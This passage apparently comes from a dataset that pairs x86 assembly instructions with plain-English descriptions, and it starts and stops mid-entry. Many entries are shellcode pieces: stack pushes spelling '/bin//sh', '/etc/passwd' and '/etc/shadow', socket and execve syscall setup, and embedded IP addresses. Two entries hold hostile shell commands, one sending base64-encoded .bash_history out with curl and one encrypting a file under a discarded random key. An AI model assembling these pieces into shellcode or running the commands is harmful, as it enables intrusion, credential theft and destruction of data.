eax into edx mov edx, ebp move ebp into edx mov edx, ecx move ecx into edx mov edx, ecx move ecx to edx mov edx, environment move the address of environment variable into edx mov edx, esi move esi into edx mov edx, esp move address of stack pointer into edx mov edx, esp move esp into edx mov edx, esp move the contents of the esp register into the edx register mov edx, esp move the stack pointer into edx mov edx, filename move filename into edx mov edx, hellolen move hellolen into edx mov edx, hexlen move hexlen into edx mov edx, len move variable len to edx mov edx, m_src4 move m_src4 to edx mov edx, n move n to edx mov edx, readbuffer move readbuffer into edx mov edx, readlen move readlen into edx mov edx, response move address of response variable into edx mov edx, src move the contents of src variable into edx mov edx, tmp move the contents of tmp variable into edx mov edx, type var1 move the number of bytes of var1 into edx mov esi, [ebp+12] move the contents of memory address ebp+12 into esi mov esi, 0x222933f0 move 0x222933f0 into esi mov esi, 0x243525f0 move 0x243525f0 into esi mov esi, 0x34399797 move 0x34399797 into esi mov esi, 0x353ffc3b move 0x353ffc3b into esi mov esi, 0x563a1f3e move 0x563a1f3e into esi mov esi, 0x65636170 move 0x65636170 into esi mov esi, 0x68732f2f move 0x68732f2f into esi mov esi, 0x72702f2f move 0x72702f2f into esi mov esi, 0x735f6176 move 0x735f6176 into esi mov esi, 0x91969dd0 move 0x91969dd0 into esi mov esi, 0xd2c45e5e move 0xd2c45e5e into esi mov esi, 10 move 10 into esi mov esi, 9 move 9 into esi mov esi, buff place address buff into esi mov esi, eax move eax into esi mov esi, eax move pointer in eax into esi mov esi, ecx move ecx into esi mov esi, edx move remainder into esi mov esi, esp move esp into esi mov esi, v move v to esi mov esi, v_src move v_src to esi mov esi, var copy the address of var into esi mov esp, ebp move the contents of the ebp register ino the esp register mov esp, ebp move the contents of the ebp register into the esp register mov long [esi+18], esi move the contents of the esi register into the long starting at the address [esi+18] mov long [esi+22], ebx move the contents of the ebx register into the long starting at the address [esi+22] mov long [esi+22], esi move the contents of the esi register into the long starting at the address [esi+22] mov long [esi+26], eax move the contents of the eax register into the long starting at the address [esi+26] mov long [esi+26], ebx move the contents of the ebx register into the long starting at the address [esi+26] mov long [esi+30], eax move the contents of the eax register into the long starting at the address [esi+30] mov sock_reg, eax move eax into sock_reg mov total, 48 transfer the value 48 in the memory variable total mov word [ebx], 2 move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx mov word [ecx], 2 move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx mov word [esp+0x1], 0x776f move 0x776f into the word in [esp+0x1] mov x, eax move eax to x variable msg db 'hello, world!', 0xa declare msg string containing 'hello world!' msg db 'i love you!', 0ah define msg variable and initialize with 'i love you!' msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post', 0x0a define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post' msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt' msg db 'we found the egg!', 0ah, 0dh define msg as the byte string 'we found the egg!' msg_len equ $-msg define msg_len equal to the length of msg msg1 db 'hello, brave new world!', 0ah declare message string msg1 containing 'hello brave new world!' msg2 db 'this is how we recycle in nasm.', 0ah declare message string msg2 containing 'this is how we recycle in nasm' msg2 db 'passwd', 0x00 define msg2 as the byte string 'passwd' msglength: equ 12 declare msglength to have the constant value 12 mul [tmp] multiply the contents of eax by the 32-bit contents of the memory location tmp mul [value] multiply the contents of eax by the 32-bit contents of the memory location value mul [var] multiply the contents of eax by the 32-bit contents of the memory location var mul 0x10 multiply eax by 0x10 and stores the result in edx:eax mul 25 multiply the contents of eax by 25 mul 3 multiply the contents of eax by 3 mul ebx mul eax by ebx mul ebx multiply eax by ebx mul ebx multiply eax by the contents of the ebx register mul ebx multiply the contents of eax by ebx mul ebx multiply the contents of the eax register by the contents of the ebx register mul ecx mul eax by ecx mul ecx multiply eax by ecx mul ecx multiply eax by the contents of the ecx register mul ecx mutliply eax by ecx mul edx mul eax by edx mul edx multiply eax by edx mul edx multiply eax by the contents of the edx register my_table times 10 dw 0 allocate 10 words each initialized to 0 my_table times 10 dw 0 allocate my_table vector of 10 words each initialized to 0 my_var dw 0abcdh define my_var word variable and initialize it to 0abcdh myList word 1,2,3,4,5 define myList array of word and initialize it to 1, 2, 3, 4, and 5 name db '/bin/sh', 0 define name as the byte string '/bin/sh' name db 30 dup allocate memory for 30 bytes uninitialized name variable neg eax negate eax neg eax negate the contents of eax neg eax replaces the contents of the eax register with its two's complement neg ebx replaces the contents of the ebx register with its two's complement neg ecx replaces the contents of the ecx register with its two's complement neg edi negate edi neg edi replaces the contents of the edi register with its two's complement neg edx replaces the contents of the edx register with its two's complement neg var negate the contents of var neg_number dw -12345 define the variable neg_number of words and initialize it to -12345 negative: define negative label next_addr: declare next_addr function next_addr: declare the next_addr label next_cycle: declare the next_cycle label next_cycle: define next_cycle label next_page: declare next_page function next: declare the next label nop do no operation nop do nothing nop no operation not ax negate all the bits of ax register not ax negate all the bits of the ax register not byte [esi] perform a bit-wise inversion of the byte starting at the address in esi not byte [tmp] negate all bits in the byte at the memory location tmp not byte [var] negate all bits in the byte at the memory location var not byte [var2] negate all bits in the byte at the memory location var2 not dl negate all the bits of dl register not eax negate all the bits of the eax register not ecx negate all the bits of ecx register not ecx negate all the bits of the ecx register not edi negate all the bits of the edi register not edx perform a bit-wise inversion of edx not esi negate all the bits of the esi register not word ax negate all the bits of the word at the address ax number dw 12345 define number variable of a word and initialize to 12345 number: resb 1 reserve 1 byte for number variable numbers dw 34, 45, 56, 67, 75, 89 declare an array of six words each initialized with the numbers 34 45 56 67 75 89 odd_number: declare odd_numer function one: declare one label one: declare the one label or al, bl perform or operation between al and bl registers or al, syscall_execve perform or operation between the al register and syscall_execve or cx, 0xfff perform logical or between the cx register and 0xfff or dx, 0xfff perform or operation between dx and 0xfff and save the result into dx or eax, 0xffffffff perform the or operation between the eax register and 0xffffffff output: declare the output label path db '//bin/sh' define path as the byte string '//bin/sh' path db '//bin/sh' define the byte string path and initialize it to '//bin/sh' path: declare the path label pop [eax] pop the top element of the stack into memory at the four bytes starting at location eax pop [ebx] pop the top element of the stack into memory at the four bytes starting at location ebx pop ax pop the last element pushed onto the stack into ax pop bx pop the last element pushed onto the stack into bx pop cx pop the last element pushed onto the stack into cx pop cx pop the value on the stack back into cx pop cx restore the top of the stack into the cx register pop dx pop the value on the stack back into dx pop dx restore the top of the stack into the dx register pop eax pop the next argument off the stack into eax pop eax pop the top of the stack into the eax register pop eax pop the value on the stack back into eax pop eax put syscall value into eax pop eax remove last character from the stack into eax pop eax remove last character from the stack into edx pop eax restore eax from the value we pushed onto the stack at the start pop eax restore the original value of eax pop eax restore the top of the stack into eax register pop eax restore the top of the stack into the eax register pop ebp restore ebp register pop ebp restore the top of the stack into the ebp register pop ebx pop the value on the stack back into ebx pop ebx remove last character from the stack into ebx pop ebx restore ebx from the value we pushed onto the stack at the start pop ebx restore the original value of ebx pop ebx restore the top of the stack into ebx register pop ebx restore the top of the stack into the ebx register pop ecx pop the value on the stack back into ecx pop ecx remove last character from the stack into ecx pop ecx restore ecx from the value we pushed onto the stack at the start pop ecx restore ecx register pop ecx restore the top of the stack into the ecx register pop ecx \n loop l1 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else make the system call exit pop ecx \n loop l2 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else make the system call exit pop ecx \n loop l3 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else make the system call exit pop edi pop the top element of the stack into edi pop edi restore the top of the stack into the edi register pop edx pop the top of the stack into the edx register pop edx pop the value on the stack back into edx pop edx restore edx from the value we pushed onto the stack at the start pop edx restore the top of the stack into edx register pop edx restore the top of the stack into the edx register pop esi pop the top of the stack into the esi register pop esi pop the value on the stack back into esi pop esi restore esi from the stack pop esi restore esi from the value we pushed onto the stack at the start pop esi restore the top of the stack into esi register pop esi restore the top of the stack into the esi register pop esp restore the top of the stack into the esp register pop si restore the top of the stack into the si register popad move doublewords from the stack into the 32 bit registers popad move doublewords from the stack into the general purpose registers popad pop doublewords from the stack into the 32 bit registers popad pop doublewords from the stack into the general purpose registers port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port array of 5 bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port as an array of bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 prepare: declare the prepare label priv_setgid: declare the priv_setgid label priv_setuid: declare the priv_setuid label process_shellcode: declare the process_shellcode label push _ip push _ip onto the stack push '//pa' push '//pa' onto the stack push '//sh' push '//sh' onto the stack push '/bin' push '/bin' onto the stack push '/etc' push '/etc' onto the stack push 'sswd' push 'sswd' onto the stack push [tmp] push the 4 bytes at address tmp onto stack push [var] push the 4 bytes at address var onto the stack push [var2] push the 4 bytes at address var2 onto the stack push 0bh push 0bh onto the stack push 0x0 push 0x0 onto the stack push 0x0 push the value 0x0 to the stack push 0x04020a0a push 0x04020a0a onto the stack push 0x0a206873 push 0x0a206873 onto the stack push 0x0a3a7964 push 0x0a3a7964 onto the stack push 0x0a4c4c41 push 0x0a4c4c41 onto the stack push 0x0a4c4c41 push the 0x0a4c4c41 onto the stack push 0x1 push 0x1 onto the stack push 0x1 push 0x1 to the stack push 0x1 push the 0x1 onto the stack push 0x10 push 0x10 onto the stack push 0x10 push 0x10 to the stack push 0x10 push the 0x10 onto the stack push 0x10 push the value 0x10 onto the stack push 0x16 push 0x16 onto the stack push 0x1a push 0x1a onto the stack push 0x1a push 0x1a to the stack push 0x1c push 0x1c onto the stack push 0x1c push 0x1c to the stack push 0x2 push 0x2 onto the stack push 0x2 push 0x2 to the stack push 0x2 push the 0x2 onto the stack push 0x203a4457 push 0x203a4457 onto the stack push 0x203a4457 push the 0x203a4457 onto the stack push 0x204c4c41 push 0x204c4c41 onto the stack push 0x204c4c41 push the 0x204c4c41 onto the stack push 0x2431243a push 0x2431243a onto the stack push 0x29 push 0x29 onto the stack push 0x29 push 0x29 to the stack push 0x2e312e31 push 0x2e312e31 onto the stack push 0x2e312e31 push 0x2e312e31 to the stack push 0x2e323931 push 0x2e323931 onto the stack push 0x2e323931 push 0x2e323931 to the stack push 0x2e373231 push 0x2e373231 onto the stack push 0x2e373231 push 0x2e373231 to the stack push 0x2e383631 push 0x2e383631 onto the stack push 0x2e383631 push 0x2e383631 to the stack push 0x2f2f2f2f push 0x2f2f2f2f onto the stack push 0x2f2f2f2f push 0x2f2f2f2f to the stack push 0x2f2f2f2f push the 0x2f2f2f2f onto the stack push 0x2f2f2f2f \n mov eax, esp push the value 0x2f2f2f2f onto the stack and point eax to the stack register push 0x2f2f2f2f \n mov ebx, esp push the value 0x2f2f2f2f onto the stack and point ebx to the stack register push 0x2f2f2f2f \n mov ecx, esp push the value 0x2f2f2f2f onto the stack and point ecx to the stack register push 0x2f2f2f2f \n mov edi, esp push the value 0x2f2f2f2f onto the stack and point edi to the stack register push 0x2f2f2f2f \n mov edx, esp push the value 0x2f2f2f2f onto the stack and point edx to the stack register push 0x2f2f2f2f \n mov esi, esp push the value 0x2f2f2f2f onto the stack and point esi to the stack register push 0x2f2f2f6e push the 0x2f2f2f6e onto the stack push 0x2f3a706d push 0x2f3a706d onto the stack push 0x2f3a746f push 0x2f3a746f onto the stack push 0x2f656c2d push 0x2f656c2d onto the stack push 0x2f656c2d push the 0x2f656c2d onto the stack push 0x2f6e6962 push 0x2f6e6962 onto the stack push 0x2f6e6962 push 0x2f6e6962 to the stack push 0x30 push the value 0x30 onto the stack push 0x30313a31 push 0x30313a31 onto the stack push 0x30313a31 push 0x30313a31 to the stack push 0x30317974 push 0x30317974 onto the stack push 0x30317974 push the 0x30317974 onto the stack push 0x31313131 push 0x31313131 onto the stack push 0x3131313a push 0x3131313a onto the stack push 0x31373737 push 0x31373737 onto the stack push 0x31373737 push the 0x31373737 onto the stack push 0x3170762d push 0x3170762d onto the stack push 0x3170762d push 0x3170762d to the stack push 0x3170762d push the 0x3170762d onto the stack push 0x32322e32 push 0x32322e32 onto the stack push 0x32322e32 push 0x32322e32 to the stack push 0x3458652e push 0x3458652e onto the stack push 0x37373333 push 0x37373333 onto the stack push 0x37373333 push 0x37373333 to the stack push 0x37373333 push the 0x37373333 onto the stack push 0x3a303a3a push 0x3a303a3a onto the stack push 0x3a30754a push 0x3a30754a onto the stack push 0x3d4c4c41 push 0x3d4c4c41 onto the stack push 0x3d4c4c41 push the 0x3d4c4c41 onto the stack push 0x3e0a7964 push 0x3e0a7964 onto the stack push 0x4 push 0x4 onto the stack push 0x4 push the 0x4 onto the stack push 0x45683933 push 0x45683933 onto the stack push 0x46 push 0x46 onto the stack push 0x4c4c4128 push 0x4c4c4128 onto the stack push 0x4c4c4128 push the 0x4c4c4128 onto the stack push 0x4c5a304b push 0x4c5a304b onto the stack push 0x4f4e2029 push 0x4f4e2029 onto the stack push 0x4f4e2029 push the 0x4f4e2029 onto the stack push 0x5 push 0x5 onto the stack push 0x5 push the 0x5 onto the stack push 0x50446862 push 0x50446862 onto the stack push 0x53534150 push 0x53534150 onto the stack push 0x53534150 push the 0x53534150 onto the stack push 0x6 push 0x6 onto the stack push 0x6 push the 0x6 value onto the stack push 0x61622f2f push 0x61622f2f onto the stack push 0x61622f6e push 0x61622f6e onto the stack push 0x61655220 push 0x61655220 onto the stack push 0x6168732f push 0x6168732f onto the stack push 0x6168732f push 0x6168732f to the stack push 0x6168732f push the 0x6168732f onto the stack push 0x6168732f \n push 0x6374652f \n mov ebx, esp push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x61702f2f push 0x61702f2f onto the stack push 0x61702f2f \n push 0x6374652f \n mov eax, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x61702f2f \n push 0x6374652f \n mov ebx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov ecx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov edi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x61702f2f \n push 0x6374652f \n mov edx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov esi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x61702f63 push 0x61702f63 onto the stack push 0x61702f63 push the 0x61702f63 onto the stack push 0x622f7273 push 0x622f7273 onto the stack push 0x622f7273 push 0x622f7273 to the stack push 0x636e2f2f push 0x636e2f2f onto the stack push 0x636e2f2f push 0x636e2f2f to the stack push 0x636e2f2f push the 0x636e2f2f onto the stack push 0x6374652f push 0x6374652f onto the stack push 0x6374652f push 0x6374652f to the stack push 0x6374652f push the 0x6374652f onto the stack push 0x6374652f \n mov eax, esp push the value 0x6374652f onto the stack and point eax to the stack register push 0x6374652f \n mov ebp, esp push the value 0x6374652f onto the stack and point ebp to the stack register push 0x6374652f \n mov ebx, esp push the value 0x6374652f onto the stack and point ebx to the stack register push 0x6374652f \n mov ecx, esp push the value 0x6374652f onto the stack and point ecx to the stack register push 0x6374652f \n mov edi, esp push the value 0x6374652f onto the stack and point edi to the stack register push 0x6374652f \n mov edx, esp push the value 0x6374652f onto the stack and point edx to the stack register push 0x6374652f \n mov esi, esp push the value 0x6374652f onto the stack and point esi to the stack register push 0x64687373 push 0x64687373 onto the stack push 0x64687373 \n mov eax, esp push the value 0x64687373 onto the stack and point the eax register to the stack register push 0x64687373 \n mov ebp, esp push the value 0x64687373 onto the stack and point the ebp register to the stack register push 0x64687373 \n mov ebx, esp push the value 0x64687373 onto the stack and point the ebx register to the stack register push 0x64687373 \n mov ecx, esp push the value 0x64687373 onto the stack and point the ecx register to the stack register push 0x64687373 \n mov edi, esp push the value 0x64687373 onto the stack and point the edi register to the stack register push 0x64687373 \n mov edx, esp push the value 0x64687373 onto the stack and point the edx register to the stack register push 0x64687373 \n mov esi, esp push the value 0x64687373 onto the stack and point the esi register to the stack register push 0x6475732f push 0x6475732f onto the stack push 0x6475732f push 0x6475732f to the stack push 0x6475732f push the 0x6475732f onto the stack push 0x6475732f \n push 0x6374652f \n mov eax, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x6475732f \n push 0x6374652f \n mov ebx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x6475732f \n push 0x6374652f \n mov ecx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x6475732f \n push 0x6374652f \n mov edi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x6475732f \n push 0x6374652f \n mov edx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x6475732f \n push 0x6374652f \n mov esi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x64777373 push 0x64777373 onto the stack push 0x64777373 push the 0x64777373 onto the stack push 0x6567772f push 0x6567772f onto the stack push 0x6567772f push 0x6567772f to the stack push 0x656c6966 push 0x656c6966 onto the stack push 0x656c6966 push the 0x656c6966 onto the stack push 0x65726f43 push 0x65726f43 onto the stack push 0x65782e2f push 0x65782e2f onto the stack push 0x65782e2f push 0x65782e2f to the stack push 0x66 push 0x66 onto the stack push 0x66 push 0x66 to the stack push 0x66 push the 0x66 onto the stack push 0x67513231 push 0x67513231 onto the stack push 0x6769666e push 0x6769666e onto the stack push 0x682f2f2f push 0x682f2f2f onto the stack push 0x682f2f2f push the 0x682f2f2f value onto the stack push 0x68732f2f push //sh to the stack push 0x68732f2f push 0x68732f2f onto the stack push 0x68732f2f push 0x68732f2f to the stack push 0x68732f2f push ascii sh// onto stack push 0x68732f2f push hs// push 0x68732f2f push the 0x68732f2f value onto the stack push 0x68732f2f push the value 0x68732f2f onto the stack push 0x68732f2f \n push 0x6e69622f \n mov eax, esp push /bin/sh onto the stack and point the eax register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into eax push 0x68732f2f \n push 0x6e69622f \n mov eax, esp put ASCII /bin/sh into eax push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into the eax register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push ASCII /bin/sh onto the stack and point the ebx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp put /bin/sh into ebx push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move ASCII /bin/sh into ebx push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move /bin/sh into the ebx register push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp push /bin/sh onto the stack and point the ecx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp put /bin/sh into ecx push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move ASCII /bin/sh into ecx push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move /bin/sh into the ecx register push 0x68732f2f \n push 0x6e69622f \n mov edx, esp push ASCII /bin/sh onto the stack and point the edx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov edx, esp put /bin/sh into edx push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move ASCII /bin/sh into edx push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move /bin/sh into the edx register push 0x68732f6e push 0x68732f6e onto the stack push 0x68732f6e push 0x68732f6e to the stack push 0x68732f6e push the 0x68732f6e onto the stack push 0x68735858 push the value 0x68735858 onto the stack push 0x68736162 push 0x68736162 onto the stack push 0x68736162 push 0x68736162 to the stack push 0x68736164 push 0x68736164 onto the stack push 0x68736164 push 0x68736164 to the stack push 0x6873732f push the value 0x6873732f onto the stack push 0x6873732f \n push 0x6374652f \n mov eax, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x6873732f \n push 0x6374652f \n mov ebx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x6873732f \n push 0x6374652f \n mov ecx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x6873732f \n push 0x6374652f \n mov edi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x6873732f \n push 0x6374652f \n mov edx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x6873732f \n push 0x6374652f \n mov esi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x68737a2f push 0x68737a2f onto the stack push 0x69616863 push the 0x69616863 onto the stack push 0x69622f2f push 0x69622f2f onto the stack push 0x69622f2f push 0x69622f2f to the stack push 0x69622f2f push the 0x69622f2f onto the stack push 0x69622f2f \n mov eax, esp push the value 0x69622f2f onto the stack and point the eax register to the stack register push 0x69622f2f \n mov ebx, esp push the value 0x69622f2f onto the stack and point the ebx register to the stack register push 0x69622f2f \n mov ecx, esp push the value 0x69622f2f onto the stack and point the ecx register to the stack register push 0x69622f2f \n mov edx, esp push the value 0x69622f2f onto the stack and point the edx register to the stack register push 0x69622f3a push 0x69622f3a onto the stack push 0x69622f65 push 0x69622f65 onto the stack push 0x69622f65 push 0x69622f65 to the stack push 0x69622f65 push the 0x69622f65 onto the stack push 0x6962732f push 0x6962732f onto the stack push 0x6962732f push the 0x6962732f onto the stack push 0x6c626174 push 0x6c626174 onto the stack push 0x6d722f2f push the 0x6d722f2f onto the stack push 0x6d726574 push 0x6d726574 onto the stack push 0x6d726574 push 0x6d726574 to the stack push 0x6e push the 0x6e onto the stack push 0x6e69622f push /bin to the stack push 0x6e69622f push 0x6e69622f onto the stack push 0x6e69622f push ascii nib/ onto stack push 0x6e69622f push nib/ push 0x6e69622f push the 0x6e69622f onto the stack push 0x6e69622f push the value 0x6e69622f onto the stack push 0x6e69622f \n push 0x7273752f \n mov eax, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the eax register to the stack register push 0x6e69622f \n push 0x7273752f \n mov ebx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ebx register to the stack register push 0x6e69622f \n push 0x7273752f \n mov ecx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ecx register to the stack register push 0x6e69622f \n push 0x7273752f \n mov edx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the edx register to the stack register push 0x6e776f64 push the 0x6e776f64 onto the stack push 0x6e7a762d push 0x6e7a762d onto the stack push 0x6e7a762d \n mov ebp, esp push the value 0x6e7a762d onto the stack and point the ebp register to the stack register push 0x6e7a762d \n mov ebx, esp push the value 0x6e7a762d onto the stack and point the ebx register to the stack register push 0x6e7a762d \n mov edi, esp push the value 0x6e7a762d onto the stack and point the edi register to the stack register push 0x6e7a762d \n mov esi, esp push the value 0x6e7a762d onto the stack and point the esi register to the stack register push 0x6f635f64 push 0x6f635f64 onto the stack push 0x6f723a30 push 0x6f723a30 onto the stack push 0x7 \n mov edx, esp push the value 0x7 onto the stack and point edx to the stack register push 0x70692f6e push 0x70692f6e onto the stack push 0x70692f6e push the 0x70692f6e onto the stack push 0x706d742f push 0x706d742f onto the stack push 0x706d742f push 0x706d742f to the stack push 0x706d742f push the 0x706d742f onto the stack push 0x7268732f push 0x7268732f onto the stack push 0x72706475 push 0x72706475 onto the stack push 0x7273752f push 0x7273752f onto the stack push 0x7273752f push 0x7273752f to the stack push 0x7361702f push 0x7361702f onto the stack push 0x7361702f push 0x7361702f to the stack push 0x73644d24 push 0x73644d24 onto the stack push 0x7369642d push 0x7369642d onto the stack push 0x7369642d push 0x7369642d to the stack push 0x7372656f push 0x7372656f onto the stack push 0x7372656f push 0x7372656f to the stack push 0x7372656f push the 0x7372656f onto the stack push 0x7374736f push 0x7374736f onto the stack push 0x7374736f push the 0x7374736f onto the stack push 0x74 push 0x74 onto the stack push 0x74 push 0x74 to the stack push 0x742f2f2f push 0x742f2f2f onto the stack push 0x742f2f2f push the 0x742f2f2f onto the stack push 0x742f3a31 push 0x742f3a31 onto the stack push 0x74303072 push 0x74303072 onto the stack push 0x7461632f \n push 0x6e69622f \n mov eax, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the eax register to the stack register push 0x7461632f \n push 0x6e69622f \n mov ebx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ebx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov ecx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ecx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov edi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edi register to the stack register push 0x7461632f \n push 0x6e69622f \n mov edx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov esi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the esi register to the stack register push 0x74652f2f push 0x74652f2f onto the stack push 0x74652f2f push the 0x74652f2f onto the stack push 0x746f6f72 push 0x746f6f72 onto the stack push 0x74756873 push the 0x74756873 onto the stack push 0x74756f2f push 0x74756f2f onto the stack push 0x74756f2f push the 0x74756f2f onto the stack push 0x752f2f2f push 0x752f2f2f onto the stack push 0x752f2f2f push 0x752f2f2f to the stack push 0x7665642f push 0x7665642f onto the stack push 0x7665642f push the 0x7665642f onto the stack push 0x76766c2d push 0x76766c2d onto the stack push 0x76766c2d push 0x76766c2d to the stack push 0x76766c2d push the 0x76766c2d onto the stack push 0x78 push 0x78 onto the stack push 0x78 push 0x78 to the stack push 0x78 push the 0x78 onto the stack push 0x782f2f32 push 0x782f2f32 onto the stack push 0x782f2f32 push 0x782f2f32 to the stack push 0x782f6e69 push 0x782f6e69 onto the stack push 0x782f6e69 push 0x782f6e69 to the stack push 0x78534a52 push 0x78534a52 onto the stack push 0x79616c70 push 0x79616c70 onto the stack push 0x79616c70 push 0x79616c70 to the stack push 0x8 push 0x8 onto the stack push 0x81e3a8c0 push 0x81e3a8c0 onto the stack push 0x8501a8c0 push 0x8501a8c0 onto the stack push 0xa push 0xa onto the stack push 0xa push 0xa to the stack push 0xa01a8c0 push the 0xa01a8c0 onto the stack push 0xb push 0xb onto the stack push 0xb push 0xb to the stack push 0xdebf push 0xdebf value to the stack push 0xefffff7f push 0xefffff7f onto the stack push 0xf push 0xf onto the stack push 1 push 1 onto the stack push 1 push 1 to the stack push 10 push 10 onto the stack push 10 \n mov eax, esp push the value 10 onto the stack and point eax to the stack register push 102 push 102 onto the stack push 12 \n mov ebx, esp push the value 12 onto the stack and point ebx to the stack register push 15 \n mov ecx, esp push the value 15 onto the stack and point ecx to the stack register push 16 push 16 onto the stack push 2 push 2 onto the stack push 20 push 20 onto the stack push 20 push the 20 onto the stack push 216 push 216 value to the stack push 6 push 6 onto the stack push ax push ax onto the stack push ax push ax to the stack push ax push the ax onto the stack push bx push bx onto the stack push bx push bx to the stack push bx push the contents of the bx register onto the stack push byte -1 push the byte -1 onto the stack push byte +0x1 push the byte +0x1 onto the stack push byte +0x10 push the byte +0x10 onto the stack push byte +0x2 push the byte +0x2 onto the stack push byte +0x3 push the byte +0x3 onto the stack push byte +0x46 push the byte +0x46 onto the stack push byte +0x6 push the byte +0x6 onto the stack push byte +0x66 push the byte +0x66 onto the stack push byte +0x7f push the byte +0x7f onto the stack push byte +0x8 push the byte +0x8 onto the stack push byte +0xb push the byte +0xb onto the stack push byte 0 push byte 0 onto stack push byte 0x0 push the byte 0x0 onto the stack push byte 0x01 push the byte 0x01 onto the stack push byte 0x01 push the byte 0x01 to the stack push byte 0x01 \n pop eax put the syscall 0x01 into the eax register push byte 0x02 push the byte 0x02 onto the stack push byte 0x02 push the byte 0x02 to the stack push byte 0x02 \n pop eax put the syscall 0x02 into the eax register push byte 0x04 push the byte 0x04 onto the stack push byte 0x04 \n pop eax put the syscall 0x04 into the eax register push byte 0x05 push the byte 0x05 onto the stack push byte 0x05 \n pop eax put the syscall 0x05 into the eax register push byte 0x06 push the byte 0x06 onto the stack push byte 0x06 \n pop eax put the syscall 0x06 into the eax register push byte 0x0b push the byte 0x0b onto the stack push byte 0x0b \n pop eax put the syscall 0x0b into the eax register push byte 0x1 push the byte 0x1 onto the stack push byte 0x1 push the byte 0x1 to the stack push byte 0x1 \n mov ecx, esp push the byte 0x1 onto the stack and point ecx to the stack register push byte 0x10 push the byte 0x10 onto the stack push byte 0x10 \n pop eax put the syscall 0x10 into the eax register push byte 0x11 \n mov ebx, esp push the byte 0x11 onto the stack and point ebx to the stack register push byte 0x17 push the byte 0x17 onto the stack push byte 0x17 \n pop eax put the syscall 0x17 into the eax register push byte 0x1c push the byte 0x1c onto the stack push byte 0x1c \n pop eax put the syscall 0x1c into the eax register push byte 0x1f push the byte 0x1f onto the stack push byte 0x1f \n pop eax put the syscall 0x1f into the eax register push byte 0x2 push the byte 0x2 onto the stack push byte 0x2 push the byte 0x2 to the stack push byte 0x2 \n mov ecx, esp push the byte 0x2 onto the stack and point ecx to the stack register push byte 0x2 \n pop eax put the syscall 0x2 into the eax register push byte 0x2e push the byte 0x2e onto the stack push byte 0x2e \n pop eax put the syscall 0x2e into the eax register push byte 0x2f push the byte 0x2f onto the stack push byte 0x2f \n pop eax put the syscall 0x2f into the eax register push byte 0x3 push the 